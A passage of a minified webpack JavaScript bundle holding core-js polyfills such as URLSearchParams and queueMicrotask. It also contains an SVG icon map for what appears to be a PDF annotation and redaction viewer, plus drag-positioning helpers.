n,o=a(t),u=i(o),c=u.length,f=0,d=[];c>f;)n=u[f++],r&&!l(o,n)||s(d,e?[n,o[n]]:o[n]);return d}};e.exports={entries:u(!0),values:u(!1)}},function(e,t){e.exports=Object.is||function(e,t){return e===t?0!==e||1/e==1/t:e!=e&&t!=t}},function(e,t,n){var r=n(65);e.exports=/(?:ipad|iphone|ipod).*applewebkit/i.test(r)},function(e,t,n){var r,o,i,a,l,s,u,c,f=n(7),d=n(62),p=n(36).f,h=n(140).set,m=n(244),g=n(464),v=n(465),y=n(92),b=f.MutationObserver||f.WebKitMutationObserver,w=f.document,E=f.process,S=f.Promise,C=p(f,"queueMicrotask"),x=C&&C.value;x||(r=function(){var e,t;for(y&&(e=E.domain)&&e.exit();o;){t=o.fn,o=o.next;try{t()}catch(e){throw o?a():i=void 0,e}}i=void 0,e&&e.enter()},m||y||v||!b||!w?!g&&S&&S.resolve?((u=S.resolve(void 0)).constructor=S,c=d(u.then,u),a=function(){c(r)}):y?a=function(){E.nextTick(r)}:(h=d(h,f),a=function(){h(r)}):(l=!0,s=w.createTextNode(""),new b(r).observe(s,{characterData:!0}),a=function(){s.data=l=!l})),e.exports=x||function(e){var t={fn:e,next:void 0};i&&(i.next=t),o||(o=t,a()),i=t}},function(e,t,n){var r=n(96),o=n(130),i=n(116).CONSTRUCTOR;e.exports=i||!o((function(e){r.all(e).then(void 0,(function(){}))}))},function(e,t,n){var r=n(15),o=n(20),i=n(117);e.exports=function(e,t){if(r(e),o(t)&&t.constructor===e)return t;var n=i.f(e);return(0,n.resolve)(t),n.promise}},function(e,t,n){var r=n(25);e.exports=function(e){return void 0!==e&&(r(e,"value")||r(e,"writable"))}},function(e,t,n){var r=n(22),o=n(25),i=n(60),a=n(181),l=RegExp.prototype;e.exports=function(e){var t=e.flags;return void 0!==t||"flags"in l||o(e,"flags")||!i(l,e)?t:r(a,e)}},function(e,t,n){var r=n(10),o=n(7).RegExp;e.exports=r((function(){var e=o(".","s");return!(e.dotAll&&e.exec("\n")&&"s"===e.flags)}))},function(e,t,n){var r=n(10),o=n(7).RegExp;e.exports=r((function(){var e=o("(?<a>b)","g");return"b"!==e.exec("b").groups.a||"bc"!=="b".replace(e,"$<a>c")}))},function(e,t,n){"use strict";var r=n(4),o=n(141);r({target:"RegExp",proto:!0,forced:/./.exec!==o},{exec:o})},function(e,t,n){var r=n(159),o=n(26);e.exports=function(e,t,n){return n.get&&r(n.get,t,{getter:!0}),n.set&&r(n.set,t,{setter:!0}),o.f(e,t,n)}},function(e,t,n){"use strict";var r=n(142).charAt,o=n(28),i=n(43),a=n(167),l=i.set,s=i.getterFor("String Iterator");a(String,"String",(function(e){l(this,{type:"String Iterator",string:o(e),index:0})}),(function(){var e,t=s(this),n=t.string,o=t.index;return o>=n.length?{value:void 0,done:!0}:(e=r(n,o),t.index+=e.length,{value:e,done:!1})}))},function(e,t,n){var r=n(65);e.exports=/Version\/10(?:\.\d+){1,2}(?: [\w./]+)?(?: Mobile\/\w+)? Safari\//.test(r)},function(e,t,n){"use strict";var r=n(95).end,o=n(186);e.exports=o("trimEnd")?function(){return r(this)}:"".trimEnd},function(e,t,n){"use strict";var r=n(95).start,o=n(186);e.exports=o("trimStart")?function(){return r(this)}:"".trimStart},function(e,t,n){var r=n(7),o=n(527),i=r.RangeError;e.exports=function(e,t){var n=o(e);if(n%t)throw i("Wrong offset");return n}},function(e,t,n){var r=n(62),o=n(22),i=n(172),a=n(27),l=n(32),s=n(129),u=n(111),c=n(166),f=n(24).aTypedArrayConstructor;e.exports=function(e){var t,n,d,p,h,m,g=i(this),v=a(e),y=arguments.length,b=y>1?arguments[1]:void 0,w=void 0!==b,E=u(v);if(E&&!c(E))for(m=(h=s(v,E)).next,v=[];!(p=o(m,h)).done;)v.push(p.value);for(w&&y>2&&(b=r(b,arguments[2])),n=l(v),d=new(f(g))(n),t=0;n>t;t++)d[t]=w?b(v[t],t):v[t];return d}},function(e,t,n){"use strict";var r=n(11),o=n(112),i=n(85).getWeakData,a=n(15),l=n(20),s=n(77),u=n(94),c=n(35),f=n(25),d=n(43),p=d.set,h=d.getterFor,m=c.find,g=c.findIndex,v=r([].splice),y=0,b=function(e){return e.frozen||(e.frozen=new w)},w=function(){this.entries=[]},E=function(e,t){return m(e.entries,(function(e){return e[0]===t}))};w.prototype={get:function(e){var t=E(this,e);if(t)return t[1]},has:function(e){return!!E(this,e)},set:function(e,t){var n=E(this,e);n?n[1]=t:this.entries.push([e,t])},delete:function(e){var t=g(this.entries,(function(t){return t[0]===e}));return~t&&v(this.entries,t,1),!!~t}},e.exports={getConstructor:function(e,t,n,r){var c=e((function(e,o){s(e,d),p(e,{type:t,id:y++,frozen:void 0}),null!=o&&u(o,e[r],{that:e,AS_ENTRIES:n})})),d=c.prototype,m=h(t),g=function(e,t,n){var r=m(e),o=i(a(t),!0);return!0===o?b(r).set(t,n):o[r.id]=n,e};return o(d,{delete:function(e){var t=m(this);if(!l(e))return!1;var n=i(e);return!0===n?b(t).delete(e):n&&f(n,t.id)&&delete n[t.id]},has:function(e){var t=m(this);if(!l(e))return!1;var n=i(e);return!0===n?b(t).has(e):n&&f(n,t.id)}}),o(d,n?{get:function(e){var t=m(this);if(l(e)){var n=i(e);return!0===n?b(t).get(e):n?n[t.id]:void 0}},set:function(e,t){return g(this,e,t)}}:{add:function(e){return g(this,e,!0)}}),c}}},function(e,t){e.exports={CSSRuleList:0,CSSStyleDeclaration:0,CSSValueList:0,ClientRectList:0,DOMRectList:0,DOMStringList:0,DOMTokenList:1,DataTransferItemList:0,FileList:0,HTMLAllCollection:0,HTMLCollection:0,HTMLFormElement:0,HTMLSelectElement:0,MediaList:0,MimeTypeArray:0,NamedNodeMap:0,NodeList:1,PaintRequestList:0,Plugin:0,PluginArray:0,SVGLengthList:0,SVGNumberList:0,SVGPathSegList:0,SVGPointList:0,SVGStringList:0,SVGTransformList:0,SourceBufferList:0,StyleSheetList:0,TextTrackCueList:0,TextTrackList:0,TouchList:0}},function(e,t,n){var r=n(125)("span").classList,o=r&&r.constructor&&r.constructor.prototype;e.exports=o===Object.prototype?void 0:o},function(e,t,n){var r=n(7),o=n(63),i=n(23),a=n(65),l=n(84),s=n(115),u=/MSIE .\./.test(a),c=r.Function,f=function(e){return u?function(t,n){var r=s(arguments.length,1)>2,a=i(t)?t:c(t),u=r?l(arguments,2):void 0;return e(r?function(){o(a,this,u)}:a,n)}:e};e.exports={setTimeout:f(r.setTimeout),setInterval:f(r.setInterval)}},function(e,t,n){var r=n(10),o=n(21),i=n(42),a=o("iterator");e.exports=!r((function(){var e=new URL("b?a=1&b=2&c=3","http://a"),t=e.searchParams,n="";return e.pathname="c%20d",t.forEach((function(e,r){t.delete("b"),n+=r+e})),i&&!e.toJSON||!t.sort||"http://a/c%20d?a=1&c=3"!==e.href||"3"!==t.get("c")||"a=1"!==String(new URLSearchParams("?a=1"))||!t[a]||"a"!==new URL("https://a@b").username||"b"!==new URLSearchParams(new URLSearchParams("a=b")).get("a")||"xn--e1aybc"!==new URL("http://тест").host||"#%D0%B1"!==new URL("http://a#б").hash||"a1c3"!==n||"x"!==new URL("http://x",void 0).host}))},function(e,t,n){"use strict";n(131);var r=n(4),o=n(7),i=n(22),a=n(11),l=n(14),s=n(264),u=n(31),c=n(112),f=n(54),d=n(229),p=n(43),h=n(77),m=n(23),g=n(25),v=n(62),y=n(82),b=n(15),w=n(20),E=n(28),S=n(61),C=n(70),x=n(129),O=n(111),A=n(115),_=n(21),T=n(169),k=_("iterator"),P=p.set,M=p.getterFor("URLSearchParams"),R=p.getterFor("URLSearchParamsIterator"),j=Object.getOwnPropertyDescriptor,L=function(e){if(!l)return o[e];var t=j(o,e);return t&&t.value},I=L("fetch"),N=L("Request"),D=L("Headers"),F=N&&N.prototype,B=D&&D.prototype,H=o.RegExp,V=o.TypeError,z=o.decodeURIComponent,U=o.encodeURIComponent,G=a("".charAt),W=a([].join),q=a([].push),Z=a("".replace),Y=a([].shift),$=a([].splice),K=a("".split),X=a("".slice),Q=/\+/g,J=Array(4),ee=function(e){return J[e-1]||(J[e-1]=H("((?:%[\\da-f]{2}){"+e+"})","gi"))},te=function(e){try{return z(e)}catch(t){return e}},ne=function(e){var t=Z(e,Q," "),n=4;try{return z(t)}catch(e){for(;n;)t=Z(t,ee(n--),te);return t}},re=/[!'()~]|%20/g,oe={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+"},ie=function(e){return oe[e]},ae=function(e){return Z(U(e),re,ie)},le=d((function(e,t){P(this,{type:"URLSearchParamsIterator",iterator:x(M(e).entries),kind:t})}),"Iterator",(function(){var e=R(this),t=e.kind,n=e.iterator.next(),r=n.value;return n.done||(n.value="keys"===t?r.key:"values"===t?r.value:[r.key,r.value]),n}),!0),se=function(e){this.entries=[],this.url=null,void 0!==e&&(w(e)?this.parseObject(e):this.parseQuery("string"==typeof e?"?"===G(e,0)?X(e,1):e:E(e)))};se.prototype={type:"URLSearchParams",bindURL:function(e){this.url=e,this.update()},parseObject:function(e){var t,n,r,o,a,l,s,u=O(e);if(u)for(n=(t=x(e,u)).next;!(r=i(n,t)).done;){if(a=(o=x(b(r.value))).next,(l=i(a,o)).done||(s=i(a,o)).done||!i(a,o).done)throw V("Expected sequence with length 2");q(this.entries,{key:E(l.value),value:E(s.value)})}else for(var c in e)g(e,c)&&q(this.entries,{key:c,value:E(e[c])})},parseQuery:function(e){if(e)for(var t,n,r=K(e,"&"),o=0;o<r.length;)(t=r[o++]).length&&(n=K(t,"="),q(this.entries,{key:ne(Y(n)),value:ne(W(n,"="))}))},serialize:function(){for(var e,t=this.entries,n=[],r=0;r<t.length;)e=t[r++],q(n,ae(e.key)+"="+ae(e.value));return W(n,"&")},update:function(){this.entries.length=0,this.parseQuery(this.url.query)},updateURL:function(){this.url&&this.url.update()}};var ue=function(){h(this,ce);var e=arguments.length>0?arguments[0]:void 0;P(this,new se(e))},ce=ue.prototype;if(c(ce,{append:function(e,t){A(arguments.length,2);var n=M(this);q(n.entries,{key:E(e),value:E(t)}),n.updateURL()},delete:function(e){A(arguments.length,1);for(var t=M(this),n=t.entries,r=E(e),o=0;o<n.length;)n[o].key===r?$(n,o,1):o++;t.updateURL()},get:function(e){A(arguments.length,1);for(var t=M(this).entries,n=E(e),r=0;r<t.length;r++)if(t[r].key===n)return t[r].value;return null},getAll:function(e){A(arguments.length,1);for(var t=M(this).entries,n=E(e),r=[],o=0;o<t.length;o++)t[o].key===n&&q(r,t[o].value);return r},has:function(e){A(arguments.length,1);for(var t=M(this).entries,n=E(e),r=0;r<t.length;)if(t[r++].key===n)return!0;return!1},set:function(e,t){A(arguments.length,1);for(var n,r=M(this),o=r.entries,i=!1,a=E(e),l=E(t),s=0;s<o.length;s++)(n=o[s]).key===a&&(i?$(o,s--,1):(i=!0,n.value=l));i||q(o,{key:a,value:l}),r.updateURL()},sort:function(){var e=M(this);T(e.entries,(function(e,t){return e.key>t.key?1:-1})),e.updateURL()},forEach:function(e){for(var t,n=M(this).entries,r=v(e,arguments.length>1?arguments[1]:void 0),o=0;o<n.length;)r((t=n[o++]).value,t.key,this)},keys:function(){return new le(this,"keys")},values:function(){return new le(this,"values")},entries:function(){return new le(this,"entries")}},{enumerable:!0}),u(ce,k,ce.entries,{name:"entries"}),u(ce,"toString",(function(){return M(this).serialize()}),{enumerable:!0}),f(ue,"URLSearchParams"),r({global:!0,constructor:!0,forced:!s},{URLSearchParams:ue}),!s&&m(D)){var fe=a(B.has),de=a(B.set),pe=function(e){if(w(e)){var t,n=e.body;if("URLSearchParams"===y(n))return t=e.headers?new D(e.headers):new D,fe(t,"content-type")||de(t,"content-type","application/x-www-form-urlencoded;charset=UTF-8"),S(e,{body:C(0,E(n)),headers:C(0,t)})}return e};if(m(I)&&r({global:!0,enumerable:!0,noTargetGet:!0,forced:!0},{fetch:function(e){return I(e,arguments.length>1?pe(arguments[1]):{})}}),m(N)){var he=function(e){return h(this,F),new N(e,arguments.length>1?pe(arguments[1]):{})};F.constructor=he,he.prototype=F,r({global:!0,constructor:!0,noTargetGet:!0,forced:!0},{Request:he})}}e.exports={URLSearchParams:ue,getState:M}},function(e,t,n){var r={"./calibrate.svg":590,"./cancel-24px.svg":591,"./digital_signature_error.svg":592,"./digital_signature_valid.svg":593,"./digital_signature_warning.svg":594,"./edit-24px.svg":595,"./ic-audio-redact.svg":596,"./ic-calibrate.svg":597,"./ic-full-frame-video-and-audio-redact.svg":598,"./ic-full-frame-video-redact.svg":599,"./ic-operation-export-line.svg":600,"./ic-triangle.svg":601,"./ic_align_bottom.svg":602,"./ic_align_left.svg":603,"./ic_align_right.svg":604,"./ic_align_top.svg":605,"./ic_annotation_add_redact_black_24px.svg":606,"./ic_annotation_apply_redact_black_24px.svg":607,"./ic_annotation_area_black_24px.svg":608,"./ic_annotation_arrow_black_24px.svg":609,"./ic_annotation_callout_black_24px.svg":610,"./ic_annotation_circle_black_24px.svg":611,"./ic_annotation_cloud_black_24px.svg":612,"./ic_annotation_cloudy_rectangular_area_black_24px.svg":613,"./ic_annotation_distance_black_24px.svg":614,"./ic_annotation_ellipse_area_black.svg":615,"./ic_annotation_eraser_black_24px.svg":616,"./ic_annotation_free_highlight_black_24px.svg":617,"./ic_annotation_freehand_black_24px.svg":618,"./ic_annotation_freetext_black_24px.svg":619,"./ic_annotation_highlight_black_24px.svg":620,"./ic_annotation_image_black_24px.svg":621,"./ic_annotation_line_black_24px.svg":622,"./ic_annotation_perimeter_black_24px.svg":623,"./ic_annotation_polygon_black_24px.svg":624,"./ic_annotation_polyline_black_24px.svg":625,"./ic_annotation_rectangular_area_black_24px.svg":626,"./ic_annotation_redact_black_24px.svg":627,"./ic_annotation_ruler_black_24px.svg":628,"./ic_annotation_signature_black_24px.svg":629,"./ic_annotation_square_black_24px.svg":630,"./ic_annotation_squiggly_black_24px.svg":631,"./ic_annotation_stamp_black_24px.svg":632,"./ic_annotation_sticky_note_black_24px.svg":633,"./ic_annotation_strikeout_black_24px.svg":634,"./ic_annotation_underline_black_24px.svg":635,"./ic_annotations_black_24px.svg":636,"./ic_arrow_down_black_24px.svg":637,"./ic_arrow_drop_down_black_24px.svg":638,"./ic_arrow_up_black_24px.svg":639,"./ic_bookmarks_black_24px.svg":640,"./ic_check_black_24px.svg":641,"./ic_chevron_down_black_24px.svg":642,"./ic_chevron_left_black_24px.svg":643,"./ic_chevron_right_black_24px.svg":644,"./ic_chevron_up_black_24px.svg":645,"./ic_close_black_24px.svg":646,"./ic_comment_black_24px.svg":647,"./ic_copy_black_24px.svg":648,"./ic_crop_black_24px.svg":649,"./ic_delete_black_24px.svg":650,"./ic_edit_black_24px.svg":651,"./ic_edit_page_24px.svg":652,"./ic_extract_black_24px.svg":653,"./ic_fileattachment_24px.svg":654,"./ic_fit_page_black_24px.svg":655,"./ic_fit_width_black_24px.svg":656,"./ic_font_size_black_24px.svg":657,"./ic_group_24px.svg":658,"./ic_group_button_24px.svg":659,"./ic_layers_24px.svg":660,"./ic_left_sidebar_black_24px.svg":661,"./ic_list_black_24px.svg":662,"./ic_menu_black_24px.svg":663,"./ic_microphone_24px.svg":664,"./ic_mode_day_black_24px.svg":665,"./ic_mode_night_black_24px.svg":666,"./ic_more_black_24px.svg":667,"./ic_music_24px.svg":668,"./ic_outline_black_24px.svg":669,"./ic_overflow_black_24px.svg":670,"./ic_palette_black_24px.svg":671,"./ic_pan_black_24px.svg":672,"./ic_pause_24px.svg":673,"./ic_placeholder_black_24px.svg":674,"./ic_play_24px.svg":675,"./ic_playcircle_24px.svg":676,"./ic_rotate_left_black_24px.svg":677,"./ic_rotate_right_black_24px.svg":678,"./ic_search_black_24px.svg":679,"./ic_select_black_24px.svg":680,"./ic_select_rectangular_black_24px.svg":681,"./ic_sound_24px.svg":682,"./ic_thumbnails_black_24px.svg":683,"./ic_thumbnails_grid_black_24px.svg":684,"./ic_ungroup_24px.svg":685,"./ic_view_mode_continuous_black_24px.svg":686,"./ic_view_mode_cover_black_24px.svg":687,"./ic_view_mode_facing_black_24px.svg":688,"./ic_view_mode_reflow_black_24px.svg":689,"./ic_view_mode_single_black_24px.svg":690,"./ic_viewer_settings_black_24px.svg":691,"./ic_volume_24px.svg":692,"./ic_zoom_in_black_24px.svg":693,"./ic_zoom_out_black_24px.svg":694,"./icon - header - mode - day.svg":695,"./icon - header - mode - night.svg":696,"./icon - header - select - line.svg":697,"./icon - tool - pen and shape - phone - line.svg":698,"./icon - tool - redaction - full page.svg":699,"./icon - tool - redaction - text.svg":700,"./icon - tools - more - vertical.svg":701,"./icon-annotation-status-accepted.svg":702,"./icon-annotation-status-cancelled.svg":703,"./icon-annotation-status-completed.svg":704,"./icon-annotation-status-marked.svg":705,"./icon-annotation-status-none.svg":706,"./icon-annotation-status-rejected.svg":707,"./icon-annotation-status-unmarked.svg":708,"./icon-arrow-down.svg":709,"./icon-arrow-left.svg":710,"./icon-arrow-right.svg":711,"./icon-arrow-to-bottom.svg":712,"./icon-arrow-to-middle.svg":713,"./icon-arrow-to-top.svg":714,"./icon-arrow-up.svg":715,"./icon-chat-bubble.svg":716,"./icon-chevron-down-bold.svg":717,"./icon-chevron-down.svg":718,"./icon-chevron-left.svg":719,"./icon-chevron-right.svg":720,"./icon-chevron-up.svg":721,"./icon-close.svg":722,"./icon-colour-none.svg":723,"./icon-comments-filter.svg":724,"./icon-delete-fill.svg":725,"./icon-delete-line.svg":726,"./icon-detach-horizontal.svg":727,"./icon-detach-toolbar.svg":728,"./icon-download.svg":729,"./icon-drag-handle.svg":730,"./icon-edit-form-field.svg":731,"./icon-form-field-checkbox.svg":732,"./icon-form-field-combobox.svg":733,"./icon-form-field-listbox.svg":734,"./icon-form-field-radiobutton.svg":735,"./icon-form-field-signature.svg":736,"./icon-form-field-text.svg":737,"./icon-header-annotation-fill.svg":738,"./icon-header-annotation-line.svg":739,"./icon-header-annotations-line.svg":740,"./icon-header-chat-fill.svg":741,"./icon-header-chat-line.svg":742,"./icon-header-clear-search.svg":743,"./icon-header-download.svg":744,"./icon-header-file-picker-line.svg":745,"./icon-header-full screen-exit.svg":746,"./icon-header-full-screen-exit.svg":747,"./icon-header-full-screen.svg":748,"./icon-header-language.svg":749,"./icon-header-page manipulation-line.svg":750,"./icon-header-page-manipulation-fill.svg":751,"./icon-header-page-manipulation-insert-above.svg":752,"./icon-header-page-manipulation-insert-below.svg":753,"./icon-header-page-manipulation-line.svg":754,"./icon-header-page-manipulation-page- layout-single-page-line.svg":755,"./icon-header-page-manipulation-page-layout-cover-fill.svg":756,"./icon-header-page-manipulation-page-layout-cover-line.svg":757,"./icon-header-page-manipulation-page-layout-cover-page-line.svg":758,"./icon-header-page-manipulation-page-layout-double-page-fill.svg":759,"./icon-header-page-manipulation-page-layout-double-page-line.svg":760,"./icon-header-page-manipulation-page-layout-single-page-fill.svg":761,"./icon-header-page-manipulation-page-layout-single-page-line.svg":762,"./icon-header-page-manipulation-page-rotation-clockwise-fill.svg":763,"./icon-header-page-manipulation-page-rotation-clockwise-line.svg":764,"./icon-header-page-manipulation-page-rotation-counterclockwise-fill.svg":765,"./icon-header-page-manipulation-page-rotation-counterclockwise-line.svg":766,"./icon-header-page-manipulation-page-transition-continuous-page-fill.svg":767,"./icon-header-page-manipulation-page-transition-continuous-page-line.svg":768,"./icon-header-page-manipulation-page-transition-page-by-page-fill.svg":769,"./icon-header-page-manipulation-page-transition-page-by-page-line.svg":770,"./icon-header-page-manipulation-page-transition-reader.svg":771,"./icon-header-pan.svg":772,"./icon-header-print-fill.svg":773,"./icon-header-print-line.svg":774,"./icon-header-search.svg":775,"./icon-header-select-fill.svg":776,"./icon-header-select-line.svg":777,"./icon-header-settings-fill.svg":778,"./icon-header-settings-line.svg":779,"./icon-header-sidebar-fill.svg":780,"./icon-header-sidebar-line-selected.svg":781,"./icon-header-sidebar-line.svg":782,"./icon-header-zoom-fit-to-page.svg":783,"./icon-header-zoom-fit-to-width.svg":784,"./icon-header-zoom-in-fill.svg":785,"./icon-header-zoom-in-line.svg":786,"./icon-header-zoom-marquee.svg":787,"./icon-header-zoom-out-fill.svg":788,"./icon-header-zoom-out-line.svg":789,"./icon-info.svg":790,"./icon-keyboard.svg":791,"./icon-linestyle-end-arrow-closed-reverse.svg":792,"./icon-linestyle-end-arrow-closed.svg":793,"./icon-linestyle-end-arrow-open-reverse.svg":794,"./icon-linestyle-end-arrow-open.svg":795,"./icon-linestyle-end-butt.svg":796,"./icon-linestyle-end-circle.svg":797,"./icon-linestyle-end-diamond.svg":798,"./icon-linestyle-end-slash.svg":799,"./icon-linestyle-end-square.svg":800,"./icon-linestyle-none.svg":801,"./icon-linestyle-start-arrow-closed-reverse.svg":802,"./icon-linestyle-start-arrow-closed.svg":803,"./icon-linestyle-start-arrow-open-reverse.svg":804,"./icon-linestyle-start-arrow-open.svg":805,"./icon-linestyle-start-arrow-reverse.svg":806,"./icon-linestyle-start-butt.svg":807,"./icon-linestyle-start-circle.svg":808,"./icon-linestyle-start-diamond.svg":809,"./icon-linestyle-start-slash.svg":810,"./icon-linestyle-start-square.svg":811,"./icon-lock.svg":812,"./icon-menu-add-style-fill.svg":813,"./icon-menu-add-style-line.svg":814,"./icon-menu-add.svg":815,"./icon-menu-align-centre.svg":816,"./icon-menu-align-left.svg":817,"./icon-menu-align-right.svg":818,"./icon-menu-bold.svg":819,"./icon-menu-centre-align.svg":820,"./icon-menu-checkmark.svg":821,"./icon-menu-italic.svg":822,"./icon-menu-left-align.svg":823,"./icon-menu-no-colour.svg":824,"./icon-menu-right-align.svg":825,"./icon-menu-style-line.svg":826,"./icon-menu-text-underline.svg":827,"./icon-no-marked-redactions.svg":828,"./icon-operation-eraser.svg":829,"./icon-operation-redo.svg":830,"./icon-operation-undo.svg":831,"./icon-page-insertion-insert-above.svg":832,"./icon-page-insertion-insert-below.svg":833,"./icon-page-manipulation-delete.svg":834,"./icon-page-manipulation-extract.svg":835,"./icon-page-move-down.svg":836,"./icon-page-move-up.svg":837,"./icon-page-replacement.svg":838,"./icon-panel-bookmark-fill.svg":839,"./icon-panel-bookmark-line.svg":840,"./icon-panel-outlines.svg":841,"./icon-panel-thumbnail-fill.svg":842,"./icon-panel-thumbnail-line.svg":843,"./icon-pencil-line.svg":844,"./icon-plus-sign.svg":845,"./icon-post-reply.svg":846,"./icon-redact-panel.svg":847,"./icon-save.svg":848,"./icon-text-bold.svg":849,"./icon-text-italic.svg":850,"./icon-text-justify-center.svg":851,"./icon-text-underline.svg":852,"./icon-thumbtack.svg":853,"./icon-tool-arc.svg":854,"./icon-tool-callout-fill.svg":855,"./icon-tool-callout-line.svg":856,"./icon-tool-changeview.svg":857,"./icon-tool-check-stamp.svg":858,"./icon-tool-comment-fill.svg":859,"./icon-tool-comment-line.svg":860,"./icon-tool-cross-stamp.svg":861,"./icon-tool-dot-stamp.svg":862,"./icon-tool-fill-and-sign-calendar.svg":863,"./icon-tool-free-highlight-fill.svg":864,"./icon-tool-free-highlight-line.svg":865,"./icon-tool-free-text.svg":866,"./icon-tool-highlight.svg":867,"./icon-tool-image-fill.svg":868,"./icon-tool-image-line.svg":869,"./icon-tool-link.svg":870,"./icon-tool-measurement-arc.svg":871,"./icon-tool-measurement-area-ellipse-line.svg":872,"./icon-tool-measurement-area-fill.svg":873,"./icon-tool-measurement-area-line.svg":874,"./icon-tool-measurement-area-polygon-line.svg":875,"./icon-tool-measurement-cloud-area-line.svg":876,"./icon-tool-measurement-distance-fill.svg":877,"./icon-tool-measurement-distance-line.svg":878,"./icon-tool-measurement-perimeter.svg":879,"./icon-tool-modal-close.svg":880,"./icon-tool-model3d.svg":881,"./icon-tool-more.svg":882,"./icon-tool-page-redact.svg":883,"./icon-tool-paste-line.svg":884,"./icon-tool-pen-fill.svg":885,"./icon-tool-pen-highlight.svg":886,"./icon-tool-pen-line.svg":887,"./icon-tool-redaction-area.svg":888,"./icon-tool-redaction-full-page.svg":889,"./icon-tool-redaction-inline.svg":890,"./icon-tool-select-area-redaction.svg":891,"./icon-tool-select-pages.svg":892,"./icon-tool-shape-arrow.svg":893,"./icon-tool-shape-cloud.svg":894,"./icon-tool-shape-line.svg":895,"./icon-tool-shape-oval.svg":896,"./icon-tool-shape-polygon.svg":897,"./icon-tool-shape-polyline.svg":898,"./icon-tool-shape-rectangle.svg":899,"./icon-tool-signature.svg":900,"./icon-tool-stamp-fill.svg":901,"./icon-tool-stamp-line.svg":902,"./icon-tool-text-free-text.svg":903,"./icon-tool-text-manipulation-free-highlight-line.svg":904,"./icon-tool-text-manipulation-highlight.svg":905,"./icon-tool-text-manipulation-squiggly.svg":906,"./icon-tool-text-manipulation-strikethrough.svg":907,"./icon-tool-text-manipulation-underline.svg":908,"./icon-tool-unlink.svg":909,"./icon-tools-more.svg":910,"./icon-transparent-colour.svg":911,"./icon-unposted-comment.svg":912,"./icon-view.svg":913,"./icon-widget-editing.svg":914,"./icon-zoom-thumb-in.svg":915,"./icon-zoom-thumb-out.svg":916,"./illustration - empty state - outlines.svg":917,"./multi select.svg":918,"./redact-icons-credit-card.svg":919,"./redact-icons-email.svg":920,"./redact-icons-image.svg":921,"./redact-icons-phone-number.svg":922,"./textselect_cursor.svg":923};function o(e){var t=i(e);return n(t)}function i(e){if(!n.o(r,e)){var t=new Error("Cannot find module '"+e+"'");throw t.code="MODULE_NOT_FOUND",t}return r[e]}o.keys=function(){return Object.keys(r)},o.resolve=i,e.exports=o,o.id=266},function(e,t,n){var r=n(268);e.exports=function(e,t){if(e){if("string"==typeof e)return r(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?r(e,t):void 0}},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t){e.exports=function(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r},e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){},function(e,t,n){},function(e,t){e.exports=function(e){return e.webpackPolyfill||(e.deprecate=function(){},e.paths=[],e.children||(e.children=[]),Object.defineProperty(e,"loaded",{enumerable:!0,get:function(){return e.l}}),Object.defineProperty(e,"id",{enumerable:!0,get:function(){return e.i}}),e.webpackPolyfill=1),e}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.canDragX=function(e){return"both"===e.props.axis||"x"===e.props.axis},t.canDragY=function(e){return"both"===e.props.axis||"y"===e.props.axis},t.createCoreData=function(e,t,n){var o=e.state,a=!(0,r.isNum)(o.lastX),l=i(e);return a?{node:l,deltaX:0,deltaY:0,lastX:t,lastY:n,x:t,y:n}:{node:l,deltaX:t-o.lastX,deltaY:n-o.lastY,lastX:o.lastX,lastY:o.lastY,x:t,y:n}},t.createDraggableData=function(e,t){var n=e.props.scale;return{node:t.node,x:e.state.x+t.deltaX/n,y:e.state.y+t.deltaY/n,deltaX:t.deltaX/n,deltaY:t.deltaY/n,lastX:e.state.x,lastY:e.state.y}},t.getBoundPosition=function(e,t,n){if(!e.props.bounds)return[t,n];var a=e.props.bounds;a="string"==typeof a?a:function(e){return{left:e.left,top:e.top,right:e.right,bottom:e.bottom}}(a);var l=i(e);if("string"==typeof a){var s,u=l.ownerDocument,c=u.defaultView;if(!((s="parent"===a?l.parentNode:u.querySelector(a))instanceof c.HTMLElement))throw new Error('Bounds selector "'+a+'" could not find an element.');var f=s,d=c.getComputedStyle(l),p=c.getComputedStyle(f);a={left:-l.offsetLeft+(0,r.int)(p.paddingLeft)+(0,r.int)(d.marginLeft),top:-l.offsetTop+(0,r.int)(p.paddingTop)+(0,r.int)(d.marginTop),right:(0,o.innerWidth)(f)-(0,o.outerWidth)(l)-l.offsetLeft+(0,r.int)(p.paddingRight)-(0,r.int)(d.marginRight),bottom:(0,o.innerHeight)(f)-(0,o.outerHeight)(l)-l.offsetTop+(0,r.int)(p.paddingBottom)-(0,r.int)(d.marginBottom)}}(0,r.isNum)(a.right)&&(t=Math.min(t,a.right));(0,r.isNum)(a.bottom)&&(n=Math.min(n,a.bottom));(0,r.isNum)(a.left)&&(t=Math.max(t,a.left));(0,r.isNum)(a.top)&&(n=Math.max(n,a.top));return[t,n]},t.getControlPosition=function(e,t,n){var r="number"==typeof t?(0,o.getTouch)(e,t):null;if("number"==typeof t&&!r)return null;var a=i(n),l=n.props.offsetParent||a.offsetParent||a.ownerDocument.body;return(0,o.offsetXYFromParent)(r||e,l,n.props.scale)},t.snapToGrid=function(e,t,n){var r=Math.round(t/e[0])*e[0],o=Math.round(n/e[1])*e[1];return[r,o]};var r=n(146),o=n(189);function i(e){var t=e.findDOMNode();if(!t)throw new Error("<DraggableCore>: Unmounted during event!");return t}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(){void 0}},function(e,t,n){},function(e,t,n){var r=n(963);e.exports=function(e,t,n){"__proto__"==t&&r?r(e,t,{configurable:!0,enumerable:!0,value:n,writable:!0}):e[t]=n}},function(e,t){e.exports=function(e,t){return e===t||e!=e&&t!=t}},function(e,t,n){var r=n(118);e.exports=function(){if(!arguments.length)return[];var e=arguments[0];return r(e)?e:[e]}},function(e,t){e.exports=function(e){var t=[];if(null!=e)for(var n in Object(e))t.push(n);return t}},function(e,t,n){},function(e,t){function n(t,r){return e.exports=n=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},e.exports.__esModule=!0,e.exports.default=e.exports,n(t,r)}e.exports=n,e.exports.__esModule=!0,e.exports.default=e.exports},function(e,t,n){},function(e,t,n){"use strict";function 